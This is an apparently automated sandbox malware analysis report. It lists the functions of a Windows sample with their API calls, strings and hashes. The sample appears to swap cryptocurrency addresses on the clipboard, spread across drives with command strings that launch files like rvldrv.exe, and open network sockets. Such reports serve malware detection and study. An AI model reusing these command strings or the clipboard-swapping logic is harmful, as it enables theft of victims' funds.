StrStrW.SHLWAPI(00000000,addr), ref: 00405501
StrStrW.SHLWAPI(00000000,nano_), ref: 0040551B
lstrlenA.KERNEL32(00000000), ref: 004055F0
GlobalAlloc.KERNEL32(00002002,-00000001), ref: 0040560B
GlobalLock.KERNEL32(00000000), ref: 0040561E
memcpy.NTDLL(00000000,00000000,-00000001), ref: 0040563C
GlobalUnlock.KERNEL32(00000000), ref: 00405648
OpenClipboard.USER32(00000000), ref: 00405650
EmptyClipboard.USER32 ref: 0040565A
SetClipboardData.USER32(00000001,00000000), ref: 00405666
CloseClipboard.USER32 ref: 0040566C

Strings

hA, xrefs: 004054A3
ronin:, xrefs: 00404E98
bitcoincash:, xrefs: 00404E81
bitcoincash:, xrefs: 004054C4
nano_, xrefs: 00404EAF
bnb, xrefs: 0040544F
cosmos, xrefs: 004054DE
nano_, xrefs: 00405512
bitcoincash:, xrefs: 00404D90
cosmos, xrefs: 00404DBB
ronin:, xrefs: 004054AA
bc1p, xrefs: 0040546B
8, xrefs: 00405546
addr, xrefs: 004054F8
bc1q, xrefs: 00405487
addr, xrefs: 00404DE6

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: Clipboard$Global$lstrlen$AllocCloseDataEmptyLockOpenUnlockmemcpy
String ID: 8$addr$addr$bc1p$bc1q$bitcoincash:$bitcoincash:$bitcoincash:$bnb$cosmos$cosmos$hA$nano_$nano_$ronin:$ronin:
API String ID: 2017104846-250561147
Opcode ID: 25dea65d1d4449a2ef1eae01c065bfd0f7a4c4a1741e3957523323aa1ae31655
Instruction ID: 6e0617124f46e3e1bef08e4e409f6ed46b9961a6860853f8336ff2275e542cf2
Opcode Fuzzy Hash: 25dea65d1d4449a2ef1eae01c065bfd0f7a4c4a1741e3957523323aa1ae31655
Instruction Fuzzy Hash: 609237B0A04218EACF58CF41C0945BE7BB2AF82751F60C06BE9456F294C77D8EC1DB99

Function 004084D0 Relevance: 62.3, APIs: 34, Strings: 1, Instructions: 1037
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_aullshr.NTDLL ref: 004085CD
_allshl.NTDLL ref: 004085E6
_aullshr.NTDLL ref: 004086B4
_allshl.NTDLL ref: 004086CD
_aullshr.NTDLL ref: 00408796
_allshl.NTDLL ref: 004087AF
_aullshr.NTDLL ref: 00408878
_allshl.NTDLL ref: 00408891
_aullshr.NTDLL ref: 0040895A
_allshl.NTDLL ref: 00408973
_aullshr.NTDLL ref: 00408A36
_allshl.NTDLL ref: 00408A4F
_aullshr.NTDLL ref: 00408B12
_allshl.NTDLL ref: 00408B2B
_aullshr.NTDLL ref: 00408BEE
_allshl.NTDLL ref: 00408C07
_aullshr.NTDLL ref: 00408CCA
_allshl.NTDLL ref: 00408CE3
_aullshr.NTDLL ref: 00408DA6
_allshl.NTDLL ref: 00408DBF
_aullshr.NTDLL ref: 00408E82
_allshl.NTDLL ref: 00408E9B
_aullshr.NTDLL ref: 00408F5E
_allshl.NTDLL ref: 00408F77
_aullshr.NTDLL ref: 0040903A
_allshl.NTDLL ref: 00409053
_aullshr.NTDLL ref: 00409116
_allshl.NTDLL ref: 0040912F
_aullshr.NTDLL ref: 004091F2
_allshl.NTDLL ref: 0040920B
_aullshr.NTDLL ref: 004092C8
_allshl.NTDLL ref: 004092E1
_allshl.NTDLL ref: 00409302
_aullshr.NTDLL ref: 00409313

Strings

Y, xrefs: 004084F0

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID: Y
API String ID: 673498613-3233089245
Opcode ID: 535b8406bbf27203a3d06f507e019bd4b957b803c50952899959f8368776a3e9
Instruction ID: 8bc4f449e96fa991b651f766feedb24339ddc98edc011673b3c5a2d60d79d6a0
Opcode Fuzzy Hash: 535b8406bbf27203a3d06f507e019bd4b957b803c50952899959f8368776a3e9
Instruction Fuzzy Hash: 79D23A79D11619EFCB54CF99C18099EFBF1FF88320F62859AD845AB305C630AA95DF80

Function 004084F9 Relevance: 52.0, APIs: 34, Instructions: 1023
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_aullshr.NTDLL ref: 004085CD
_allshl.NTDLL ref: 004085E6
_aullshr.NTDLL ref: 004086B4
_allshl.NTDLL ref: 004086CD
_aullshr.NTDLL ref: 00408796
_allshl.NTDLL ref: 004087AF
_aullshr.NTDLL ref: 00408878
_allshl.NTDLL ref: 00408891
_aullshr.NTDLL ref: 0040895A
_allshl.NTDLL ref: 00408973
_aullshr.NTDLL ref: 00408A36
_allshl.NTDLL ref: 00408A4F
_aullshr.NTDLL ref: 00408B12
_allshl.NTDLL ref: 00408B2B
_aullshr.NTDLL ref: 00408BEE
_allshl.NTDLL ref: 00408C07
_aullshr.NTDLL ref: 00408CCA
_allshl.NTDLL ref: 00408CE3
_aullshr.NTDLL ref: 00408DA6
_allshl.NTDLL ref: 00408DBF
_aullshr.NTDLL ref: 00408E82
_allshl.NTDLL ref: 00408E9B
_aullshr.NTDLL ref: 00408F5E
_allshl.NTDLL ref: 00408F77
_aullshr.NTDLL ref: 0040903A
_allshl.NTDLL ref: 00409053
_aullshr.NTDLL ref: 00409116
_allshl.NTDLL ref: 0040912F
_aullshr.NTDLL ref: 004091F2
_allshl.NTDLL ref: 0040920B
_aullshr.NTDLL ref: 004092C8
_allshl.NTDLL ref: 004092E1
_allshl.NTDLL ref: 00409302
_aullshr.NTDLL ref: 00409313

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: 8c609b86bb28d5a081a49b133891f2681c0e63e2cb5ef732c119ad65bfffb674
Instruction ID: affa05b9e3e18e999c7216c09a62115e88c49fe898542c2adc9745ce68515915
Opcode Fuzzy Hash: 8c609b86bb28d5a081a49b133891f2681c0e63e2cb5ef732c119ad65bfffb674
Instruction Fuzzy Hash: 18D22A79D11619EFCB54CF99C18099EFBF1FF88320F62859AD845AB305C630AA95DF80

Function 004059B0 Relevance: 25.7, APIs: 17, Instructions: 186
clipboardregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetWindowLongW.USER32(?,000000EB), ref: 004059BC
SetClipboardViewer.USER32(?), ref: 00405A08
SetWindowLongW.USER32(?,000000EB,?), ref: 00405A1B
IsClipboardFormatAvailable.USER32(0000000D), ref: 00405A70
OpenClipboard.USER32(00000000), ref: 00405AB7
GetClipboardData.USER32(00000000), ref: 00405AC9
RegisterRawInputDevices.USER32(?,00000001,0000000C), ref: 00405BD0
ChangeClipboardChain.USER32(?,?), ref: 00405BDE
DefWindowProcA.USER32(?,?,?,?), ref: 00405BF4

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: Clipboard$Window$Long$AvailableChainChangeDataDevicesFormatInputOpenProcRegisterViewer
String ID:
API String ID: 3549449529-0
Opcode ID: 2f0b22ba391b773d4c45c64ac6dadd066d7720e91bacc99fadb97576ecf3cd51
Instruction ID: 96d86bc259bd628418629a5c2f452591d45261003c5ffeff5fe086a58ca8b5ae
Opcode Fuzzy Hash: 2f0b22ba391b773d4c45c64ac6dadd066d7720e91bacc99fadb97576ecf3cd51
Instruction Fuzzy Hash: EB711C75A00608EFDF14DFA4D988BEF77B4EB48300F14856AE506B7290D779AA40CF69

Function 004067A0 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 85
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNEL32(00406F1A,00000000), ref: 004067AF
wsprintfW.USER32 ref: 004067C5
FindFirstFileW.KERNEL32(?,?), ref: 004067DC
lstrcmpW.KERNEL32(?,00411368), ref: 00406801
lstrcmpW.KERNEL32(?,0041136C), ref: 00406817
wsprintfW.USER32 ref: 0040683A
wsprintfW.USER32 ref: 0040685A
MoveFileExW.KERNEL32(?,?,00000009), ref: 00406896
FindNextFileW.KERNEL32(000000FF,?), ref: 004068AA
FindClose.KERNEL32(000000FF), ref: 004068BF
RemoveDirectoryW.KERNEL32(?), ref: 004068C9

Strings

%s\*, xrefs: 004067B9
%s\%s, xrefs: 0040684E
%s\%s, xrefs: 0040682E

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
String ID: %s\%s$%s\%s$%s\*
API String ID: 92872011-445461498
Opcode ID: e29d1c6c13065a126f61562b4b6d2eaef25e121113ba2b4fb370d418db62171d
Instruction ID: 96f5080d1998a7d60275ba97af61759e4b4e94f5b4bc08b7936e0b3de653678a
Opcode Fuzzy Hash: e29d1c6c13065a126f61562b4b6d2eaef25e121113ba2b4fb370d418db62171d
Instruction Fuzzy Hash: 923145B5900218AFDB10DBA0DC88FDA7778BB48701F40C5E9F609A3195DA75EAD4CF98

Function 00406F70 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 106sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 00406F7E
GetModuleFileNameW.KERNEL32(00000000,00415DB8,00000104), ref: 00406F90

Part of subcall function 0040F1F0: CreateFileW.KERNEL32(00406FA0,80000000,00000001,00000000,00000003,00000000,00000000,00406FA0), ref: 0040F210
Part of subcall function 0040F1F0: GetFileSize.KERNEL32(000000FF,00000000), ref: 0040F225
Part of subcall function 0040F1F0: CloseHandle.KERNEL32(000000FF), ref: 0040F232

ExitThread.KERNEL32 ref: 004070FA

Part of subcall function 004063E0: GetLogicalDrives.KERNEL32 ref: 004063E6
Part of subcall function 004063E0: RegOpenKeyExW.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Policies\Explorer,00000000,00020019,?), ref: 00406434
Part of subcall function 004063E0: RegQueryValueExW.ADVAPI32(?,NoDrives,00000000,00000000,00000000,00000004), ref: 00406461
Part of subcall function 004063E0: RegCloseKey.ADVAPI32(?), ref: 0040647E

Sleep.KERNEL32(000007D0), ref: 004070ED

Part of subcall function 00406300: lstrcpyW.KERNEL32(?,?,?,?,00000019), ref: 00406353

GetVolumeInformationW.KERNEL32(?,?,00000105,00000000,00000000,?,00000000,00000000), ref: 0040702F
GetDiskFreeSpaceExW.KERNEL32(?,00000000,?,00000000), ref: 00407044
_aulldiv.NTDLL(?,?,40000000,00000000), ref: 0040705F
wsprintfW.USER32 ref: 00407072
wsprintfW.USER32 ref: 00407092
wsprintfW.USER32 ref: 004070B5

Strings

%s%s, xrefs: 004070A9
Unnamed volume, xrefs: 00407086
(%dGB), xrefs: 00407066

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: Filewsprintf$CloseSleep$CreateDiskDrivesExitFreeHandleInformationLogicalModuleNameOpenQuerySizeSpaceThreadValueVolume_aulldivlstrcpy
String ID: (%dGB)$%s%s$Unnamed volume
API String ID: 1650488544-2117135753
Opcode ID: 36835f4b582c7264fa9310f82983a243ead37fe316eb445b52cb330bcd55ef35
Instruction ID: b797a4b926279b24144ff746e96c568fb56fd9e530b7e1178aba5a8e6206bca3
Opcode Fuzzy Hash: 36835f4b582c7264fa9310f82983a243ead37fe316eb445b52cb330bcd55ef35
Instruction Fuzzy Hash: 244174B1D00214BBEB64DB94DC45FEE7779BB48700F1085A6F20AB61D0DA785B84CF6A

Function 0040E190 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 117networkstringCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 0040E1AA
htons.WS2_32(0000076C), ref: 0040E1E0
inet_addr.WS2_32(239.255.255.250), ref: 0040E1EF
setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040E20D

Part of subcall function 0040B430: htons.WS2_32(00000050), ref: 0040B45D
Part of subcall function 0040B430: socket.WS2_32(00000002,00000001,00000000), ref: 0040B47D
Part of subcall function 0040B430: connect.WS2_32(000000FF,?,00000010), ref: 0040B496
Part of subcall function 0040B430: getsockname.WS2_32(000000FF,?,00000010), ref: 0040B4C8

bind.WS2_32(000000FF,?,00000010), ref: 0040E243
lstrlenA.KERNEL32(X#A,00000000,?,00000010), ref: 0040E25C
sendto.WS2_32(000000FF,X#A,00000000), ref: 0040E26B
ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040E285

Part of subcall function 0040E310: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040E35E
Part of subcall function 0040E310: Sleep.KERNEL32(000003E8), ref: 0040E36E
Part of subcall function 0040E310: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040E38B
Part of subcall function 0040E310: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040E3A1
Part of subcall function 0040E310: StrChrA.SHLWAPI(?,0000000D), ref: 0040E3CE

Strings

X#A, xrefs: 0040E258, 0040E25B
239.255.255.250, xrefs: 0040E1EA

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
String ID: 239.255.255.250$X#A
API String ID: 726339449-2206458040
Opcode ID: 6911e90d37da8db62bd51864f6155ca9886bbc89aad1387f27fc75aef26ea545
Instruction ID: e8e0ae0e245dd7c097b927a75a8676c49a2f7ecfee9f68fb0cb72d84dadb0e27
Opcode Fuzzy Hash: 6911e90d37da8db62bd51864f6155ca9886bbc89aad1387f27fc75aef26ea545
Instruction Fuzzy Hash: 7F4119B4E00208ABDB04DFE4D989BEEBBB5EF48304F108569F505B7390E7B55A44CB59

Function 00402020 Relevance: 16.6, APIs: 11, Instructions: 131networkCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?,?), ref: 00402043
InitializeCriticalSection.KERNEL32(00000020), ref: 00402057
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00402065
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040207E

Part of subcall function 0040DBB0: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040DBCE

WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 004020AB
setsockopt.WS2_32 ref: 004020D1
htons.WS2_32(?), ref: 00402101
bind.WS2_32(?,0000FFFF,00000010), ref: 00402117
listen.WS2_32(?,7FFFFFFF), ref: 0040212F
WSACreateEvent.WS2_32 ref: 0040213A
WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040214E

Part of subcall function 0040DBE0: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040DC04
Part of subcall function 0040DBE0: CreateThread.KERNEL32(00000000,?,00000000,?,00000000,?), ref: 0040DC5F
Part of subcall function 0040DBE0: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040DC9C
Part of subcall function 0040DBE0: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040DCA7
Part of subcall function 0040DBE0: DuplicateHandle.KERNEL32(00000000), ref: 0040DCAE
Part of subcall function 0040DBE0: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040DCC2

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
String ID:
API String ID: 1603358586-0
Opcode ID: 12e9ac71e1e64606d6e310d867efcd3aad974152cf34b1f89b4218bf20e906ed
Instruction ID: 7304e093e5df1f4af0f3941d52a0ba2ce6ba101da239ecb0b9d238ba0c2be26e
Opcode Fuzzy Hash: 12e9ac71e1e64606d6e310d867efcd3aad974152cf34b1f89b4218bf20e906ed
Instruction Fuzzy Hash: EE41B170640301ABD3209F74CC4AF5B77E4AF44720F108A2DF6A9EA2D4E7F4E545875A

Function 00406660 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 106comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040666B
CoCreateInstance.OLE32(00413030,00000000,00000001,00413010,00000008), ref: 00406683
wsprintfW.USER32 ref: 004066C4
wsprintfW.USER32 ref: 004066E5

Strings

cl@, xrefs: 004066A0
%comspec%, xrefs: 004066EE
/c start %s & start %s\rvldrv.exe & start %s\rvlcfg.exe, xrefs: 004066B8
/c start %s & start %s\rvlcfg.exe, xrefs: 004066D9

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: wsprintf$CreateInitializeInstance
String ID: %comspec%$/c start %s & start %s\rvlcfg.exe$/c start %s & start %s\rvldrv.exe & start %s\rvlcfg.exe$cl@
API String ID: 1147330536-497122036
Opcode ID: eee1a2fc8572b98f6c40a5fc3c9db374d26e8a3e47ee9b9990b59bb952fb1ff2
Instruction ID: e126a915917d584c7bd6e3cca15df18ca7e9be12ab45cc4692bb8e15b90f0fb7
Opcode Fuzzy Hash: eee1a2fc8572b98f6c40a5fc3c9db374d26e8a3e47ee9b9990b59bb952fb1ff2
Instruction Fuzzy Hash: 67411D75A40208AFC704DF98C885FDEB7B5AF88704F208199F515A72A5C675AE81CB54

Function 00401470 Relevance: 9.1, APIs: 6, Instructions: 89networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 004014B2
socket.WS2_32(00000002,00000002,00000011), ref: 004014C1
htons.WS2_32(?), ref: 00401508
setsockopt.WS2_32(?,0000FFFF), ref: 0040152A
bind.WS2_32(?,?,00000010), ref: 0040153B

Part of subcall function 00401330: SetEvent.KERNEL32(?,00000000,?,0040154C,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,00401100,00000000,00000000,00000000), ref: 00401569

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
String ID:
API String ID: 4174406920-0
Opcode ID: 93d4027be7e49e3bb9003fc5ae654a5e9afe1d061a8d67f74f828f69ef3a14c4
Instruction ID: 62ed05d6da85abd953b38b2f92cd08377c0ec6205023cd889ce16e316194a11c
Opcode Fuzzy Hash: 93d4027be7e49e3bb9003fc5ae654a5e9afe1d061a8d67f74f828f69ef3a14c4
Instruction Fuzzy Hash: 1731F971A443016BE320DF749C46F9BB6E0AF48B10F40493DF659EB2D0D3B4D544879A

Function 0040D770 Relevance: 9.1, APIs: 6, Instructions: 67sleepnetworkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040D782
ioctlsocket.WS2_32(00000004,4004667F,00000000), ref: 0040D7A8
recv.WS2_32(00000004,00002710,000000FF,00000000), ref: 0040D7DF
GetTickCount.KERNEL32 ref: 0040D7F4
Sleep.KERNEL32(00000001), ref: 0040D814
GetTickCount.KERNEL32 ref: 0040D81A

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: CountTick$Sleepioctlsocketrecv
String ID:
API String ID: 107502007-0
Opcode ID: 37a822bdddda98564e28443683f910c137df2279eb61dd0ccc6bd5f83a2e5522
Instruction ID: 457d80db37ae817004d1223b894239af033459ee6c7143085fc0b5fbd1cdb933
Opcode Fuzzy Hash: 37a822bdddda98564e28443683f910c137df2279eb61dd0ccc6bd5f83a2e5522
Instruction Fuzzy Hash: 13310A75D00209EFCB04DFA4D948AEEBBB0FF44315F10866AE821A7280D7749A54CB99

Function 0040B430 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(00000050), ref: 0040B45D

Part of subcall function 0040B3F0: inet_addr.WS2_32(0040B471), ref: 0040B3FA
Part of subcall function 0040B3F0: gethostbyname.WS2_32(?), ref: 0040B40D

socket.WS2_32(00000002,00000001,00000000), ref: 0040B47D
connect.WS2_32(000000FF,?,00000010), ref: 0040B496
getsockname.WS2_32(000000FF,?,00000010), ref: 0040B4C8

Strings

www.update.microsoft.com, xrefs: 0040B467

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
String ID: www.update.microsoft.com
API String ID: 4063137541-1705189816
Opcode ID: 6e98f9c7e97e06aef12c993c0efbc8d88427d4f6baa20c341407c54d3fa54141
Instruction ID: af49af799945b34e8f77a8241ecd355db6f1f506d792f0fdd03f8566860bb8e6
Opcode Fuzzy Hash: 6e98f9c7e97e06aef12c993c0efbc8d88427d4f6baa20c341407c54d3fa54141
Instruction Fuzzy Hash: DB212CB4D102099BCB04DFE8D946AEEBBB4EF48300F104169E514F7390E7B45A44DBAA

Function 004013B0 Relevance: 6.1, APIs: 4, Instructions: 63networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,0040DFDD,00000000), ref: 004013D5
socket.WS2_32(00000002,00000002,00000011), ref: 004013E4
bind.WS2_32(?,?,00000010), ref: 00401429

Part of subcall function 00401330: SetEvent.KERNEL32(?,00000000,?,0040154C,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0040135C

CreateThread.KERNEL32(00000000,00000000,Function_00001100,00000000,00000000,00000000), ref: 00401459

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindsocket
String ID:
API String ID: 3943618503-0
Opcode ID: 553d10466bbec8e054a760f45873b700e7f933e75f0b3e1bb69a1e19c2fd66b5
Instruction ID: 36f5780ae761d5720ce2b15666c8ad773c7a5b56cb4710f169ddd2cda5c78557
Opcode Fuzzy Hash: 553d10466bbec8e054a760f45873b700e7f933e75f0b3e1bb69a1e19c2fd66b5
Instruction Fuzzy Hash: DE116674A417106BE3209F749C0AF877AE0AF04B54F50892DF659E72E1E3B49544879A

Function 0040C830 Relevance: 4.5, APIs: 3, Instructions: 26encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(004083EF,00000000,00000000,00000001,F0000040,?,?,0040C889,004083EF,00000004,?,?,0040C8BE,000000FF), ref: 0040C843
CryptGenRandom.ADVAPI32(004083EF,?,00000000,?,?,0040C889,004083EF,00000004,?,?,0040C8BE,000000FF), ref: 0040C859
CryptReleaseContext.ADVAPI32(004083EF,00000000,?,?,0040C889,004083EF,00000004,?,?,0040C8BE,000000FF), ref: 0040C865

Memory Dump Source

Source File: 00000001.00000002.1839743453.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.1839560572.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1839953222.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.1840037472.0000000000414000.00000008.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_33080.jbxd

Yara matches

Similarity

API ID: Crypt$Context$AcquireRandomRelease
String ID:
API String ID: 1815803762-0
Opcode ID: a24c2434b3afb1955293fcca0a538135b7e24827869c87ceb3569772b55bea96
Instruction ID: f90ee11572ba5f49e3e1a660dc1e1657e7f5db47d76125bfba77a944767198f2
